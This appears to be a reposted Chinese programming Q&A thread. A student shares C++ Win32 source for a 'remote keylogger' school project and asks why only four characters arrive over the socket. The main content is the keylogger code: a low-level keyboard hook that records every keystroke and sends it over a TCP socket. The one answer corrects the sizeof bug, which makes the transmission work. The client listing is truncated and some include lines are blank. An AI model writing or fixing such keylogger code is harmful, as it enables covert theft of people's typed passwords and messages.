当前位置:  开发笔记 > 编程语言 > 正文

winsock缺少数据c ++ win32

如何解决《winsock缺少数据c++win32》经验,为你挑选了1个好方法。

我正在编写一个需要通过网络发送数据的应用程序.我已完成应用程序,但发送数据时出现问题.每次我发送一个数据时,它会在4个字符后被切断,其余的都是垃圾.该应用程序是我正在为学校项目编写的远程键盘记录器,它要求您演示hooks和winsock的用法.我们被允许在论坛上寻求帮助.任何帮助,将不胜感激!

这里的代码:

服务器:

 // rkl.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "rkl.h"
#include 
#include 

SOCKET kSock;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{



WSAData wsdata; 
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 

if(nret != 0)
{
    MessageBoxA(0,"Error 0","Error",MB_OK);
WSACleanup(); 
return -1;
}


kSock=socket(AF_INET, SOCK_STREAM, 0);


if(kSock == INVALID_SOCKET)
{
MessageBoxA(0,"Error 1","Error",MB_OK);
return -1;
}


sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;

if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{ 
MessageBoxA(0,"Error 2","Error",MB_OK);
WSACleanup(); 
return -1;
}


HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);

char buf1[256];
char* buf = buf1;
buf = "Test";
send(kSock,buf,sizeof(buf),0);

MessageBoxA(0,"Press ok to stop logging.","Waiting...",MB_OK);

closesocket(kSock);
return 0;



}




LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);


    if (wParam == WM_KEYDOWN) {
        char* buf;
char tl[256];
buf = tl;
buf = itoa(p->vkCode,buf,10);
int tmp;

tmp = atoi(buf);

if(tmp != 0)
{
        switch (tmp) {


case VK_BACK:      buf =  "";       break;
case VK_TAB:      buf =  "";       break;
case VK_CLEAR:      buf =  "";       break;
case VK_RETURN:      buf =  "";       break;
case VK_SHIFT:      buf =  "";       break;
case VK_CONTROL:      buf =  "";       break;
case VK_MENU:      buf =  "";       break;
case VK_PAUSE:      buf =  "";       break;
case VK_CAPITAL:      buf =  "";       break;
case VK_ESCAPE:      buf =  "";       break;
case VK_SPACE:      buf =  "";       break;
case VK_PRIOR:      buf =  "";       break;
case VK_NEXT:      buf =  "";       break;
case VK_END:      buf =  "";       break;
case VK_HOME:      buf =  "";       break;
case VK_LEFT:      buf =  "";       break;
case VK_UP:      buf =  "";       break;
case VK_RIGHT:      buf =  "";       break;
case VK_DOWN:      buf =  "";       break;
case VK_SELECT:      buf =  "";       break;
case VK_LAUNCH_APP1:      buf =  "";       break;
case VK_LAUNCH_APP2:      buf =  "";       break;
case VK_OEM_1:      buf =  "<;:' key >";       break;
case VK_OEM_PLUS:      buf =  "+";       break;
case VK_OEM_COMMA:      buf =  ",";       break;
case VK_OEM_MINUS:      buf =  "-";       break;
case VK_OEM_PERIOD:      buf =  ".";       break;
case VK_OEM_2:      buf =  "";       break;
case VK_OEM_3:      buf =  "<`~' key >";       break;
case VK_OEM_4:      buf =  "<[{' key>";       break;
case VK_OEM_5:      buf =  "<\|' key>";       break;
case VK_OEM_6:      buf =  "<]}' key>";       break;
case VK_OEM_7:      buf =  "";       break;
case VK_OEM_CLEAR:      buf =  "";       break;




            default:
            buf[0] = char(tmp);
            buf[1] = char(0);
            buf[2] = char(0);
            buf[3] = char(0);
            buf[4] = char(0);
            buf[5] = char(0);
            buf[6] = char(0);
            buf[7] = char(0);
            buf[8] = char(0);


        }


send(kSock,buf,sizeof(buf),0);
}

    return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
}

客户:

// lkv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include  
#include 

int main()
{

WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 
if(nret != 0){ 
std::cout<<"Startup failed, error code: "<

小智.. 7

在您的服务器端,您的发送行是:

send(kSock,buf,sizeof(buf),0);

而且buf是一个char*.在你的情况下,char*的大小为4个字节,所以你要告诉send发送4个字节的数据,当你真的要发送缓冲区的大小时是strlen(buf)+1(加号是包括字符串的终止零).



1> 小智..:

在您的服务器端,您的发送行是:

send(kSock,buf,sizeof(buf),0);

而且buf是一个char*.在你的情况下,char*的大小为4个字节,所以你要告诉send发送4个字节的数据,当你真的要发送缓冲区的大小时是strlen(buf)+1(加号是包括字符串的终止零).

推荐阅读
重庆制造漫画社
这个屌丝很懒,什么也没留下!
DevBox开发工具箱 | 专业的在线开发工具网站    京公网安备 11010802040832号  |  京ICP备19059560号-6
Copyright © 1998 - 2020 DevBox.CN. All Rights Reserved devBox.cn 开发工具箱 版权所有